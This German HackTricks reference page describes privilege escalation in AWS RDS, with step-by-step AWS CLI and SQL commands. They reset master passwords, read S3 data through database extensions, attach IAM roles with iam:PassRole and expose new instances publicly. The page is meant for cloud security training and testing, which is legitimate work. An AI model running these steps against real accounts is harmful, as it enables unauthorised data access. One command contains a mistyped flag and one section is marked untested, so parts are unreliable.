AWS - RDS Privesc
Reading time: 7 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
RDS - Relational Database Service
Für weitere Informationen über RDS siehe:
AWS - Relational Database (RDS) Enum
rds:ModifyDBInstance
Mit dieser Berechtigung kann ein Angreifer das Passwort des Master-Benutzers ändern und sich in die Datenbank einloggen:
# Get the DB username, db name and address
aws rds describe-db-instances
# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
warning
Sie müssen in der Lage sein, auf die Datenbank zuzugreifen (sie sind normalerweise nur von internen Netzwerken aus zugänglich).
Potenzielle Auswirkungen: Sensible Informationen in den Datenbanken finden.
rds-db:connect
Laut den Docs könnte ein Benutzer mit dieser Berechtigung eine Verbindung zur DB-Instanz herstellen.
Missbrauch von RDS-Rollen-IAM-Berechtigungen
Postgresql (Aurora)
tip
Wenn Sie SELECT datname FROM pg_database;
ausführen und eine Datenbank namens rdsadmin
finden, wissen Sie, dass Sie sich in einer AWS Postgresql-Datenbank befinden.
Zuerst können Sie überprüfen, ob diese Datenbank verwendet wurde, um auf einen anderen AWS-Dienst zuzugreifen. Sie könnten dies überprüfen, indem Sie sich die installierten Erweiterungen ansehen:
SELECT * FROM pg_extension;
Wenn Sie etwas wie aws_s3
finden, können Sie davon ausgehen, dass diese Datenbank irgendeine Art von Zugriff auf S3 hat (es gibt andere Erweiterungen wie aws_ml
und aws_lambda
).
Wenn Sie außerdem die Berechtigung haben, aws rds describe-db-clusters
auszuführen, können Sie dort sehen, ob der Cluster eine IAM-Rolle zugewiesen hat im Feld AssociatedRoles
. Falls ja, können Sie davon ausgehen, dass die Datenbank vorbereitet wurde, um auf andere AWS-Dienste zuzugreifen. Basierend auf dem Namen der Rolle (oder wenn Sie die Berechtigungen der Rolle erhalten können) könnten Sie vermuten, welchen zusätzlichen Zugriff die Datenbank hat.
Um nun eine Datei in einem Bucket zu lesen, müssen Sie den vollständigen Pfad kennen. Sie können es mit folgendem Befehl lesen:
// Create table
CREATE TABLE ttemp (col TEXT);
// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv', // Name of the file
'eu-west-1' //region of the bucket
) AS s3_uri \gset
// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
// Get info
SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
Wenn Sie rohe AWS-Anmeldeinformationen hätten, könnten Sie diese auch verwenden, um auf S3-Daten zuzugreifen mit:
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
note
Postgresql muss keine Parametergruppenvariable ändern, um auf S3 zugreifen zu können.
Mysql (Aurora)
tip
Innerhalb eines mysql, wenn Sie die Abfrage SELECT User, Host FROM mysql.user;
ausführen und es einen Benutzer namens rdsadmin
gibt, können Sie davon ausgehen, dass Sie sich in einer AWS RDS mysql db befinden.
Führen Sie im mysql show variables;
aus und wenn die Variablen wie aws_default_s3_role
, aurora_load_from_s3_role
, aurora_select_into_s3_role
Werte haben, können Sie davon ausgehen, dass die Datenbank vorbereitet ist, um auf S3-Daten zuzugreifen.
Außerdem, wenn Sie die Berechtigungen haben, aws rds describe-db-clusters
auszuführen, können Sie überprüfen, ob der Cluster eine assoziierte Rolle hat, was normalerweise den Zugriff auf AWS-Dienste bedeutet.
Um nun eine Datei innerhalb eines Buckets zu lesen, müssen Sie den vollständigen Pfad kennen. Sie können sie mit lesen:
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
rds:AddRoleToDBCluster
, iam:PassRole
Ein Angreifer mit den Berechtigungen rds:AddRoleToDBCluster
und iam:PassRole
kann eine bestimmte Rolle zu einer bestehenden RDS-Instanz hinzufügen. Dies könnte dem Angreifer ermöglichen, auf sensible Daten zuzugreifen oder die Daten innerhalb der Instanz zu ändern.
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
Potenzielle Auswirkungen: Zugriff auf sensible Daten oder unbefugte Änderungen an den Daten in der RDS-Instanz.
Beachten Sie, dass einige DBs zusätzliche Konfigurationen erfordern, wie Mysql, das die Angabe der Rollen-ARN in den Parametergruppen benötigt.
rds:CreateDBInstance
Nur mit dieser Berechtigung könnte ein Angreifer eine neue Instanz innerhalb eines bereits vorhandenen Clusters erstellen, der eine IAM-Rolle zugewiesen ist. Er wird das Master-Benutzerpasswort nicht ändern können, aber er könnte in der Lage sein, die neue Datenbankinstanz ins Internet zu exponieren:
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
rds:CreateDBInstance
, iam:PassRole
note
TODO: Test
Ein Angreifer mit den Berechtigungen rds:CreateDBInstance
und iam:PassRole
kann eine neue RDS-Instanz mit einer angegebenen Rolle erstellen. Der Angreifer kann dann potenziell auf sensible Daten zugreifen oder die Daten innerhalb der Instanz ändern.
warning
Einige Anforderungen an die Rolle/Instanzprofil, die angehängt werden sollen (von hier):
- Das Profil muss in Ihrem Konto existieren.
- Das Profil muss eine IAM-Rolle haben, die Amazon EC2 die Berechtigung hat, zu übernehmen.
- Der Name des Instanzprofils und der zugehörige Name der IAM-Rolle müssen mit dem Präfix
AWSRDSCustom
beginnen.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
Potenzielle Auswirkungen: Zugriff auf sensible Daten oder unbefugte Änderungen an den Daten in der RDS-Instanz.
rds:AddRoleToDBInstance
, iam:PassRole
Ein Angreifer mit den Berechtigungen rds:AddRoleToDBInstance
und iam:PassRole
kann eine bestimmte Rolle zu einer bestehenden RDS-Instanz hinzufügen. Dies könnte dem Angreifer ermöglichen, auf sensible Daten zuzugreifen oder die Daten innerhalb der Instanz zu ändern.
warning
Die DB-Instanz muss außerhalb eines Clusters sein, damit dies funktioniert.
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
Potenzielle Auswirkungen: Zugriff auf sensible Daten oder unbefugte Änderungen an den Daten in der RDS-Instanz.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.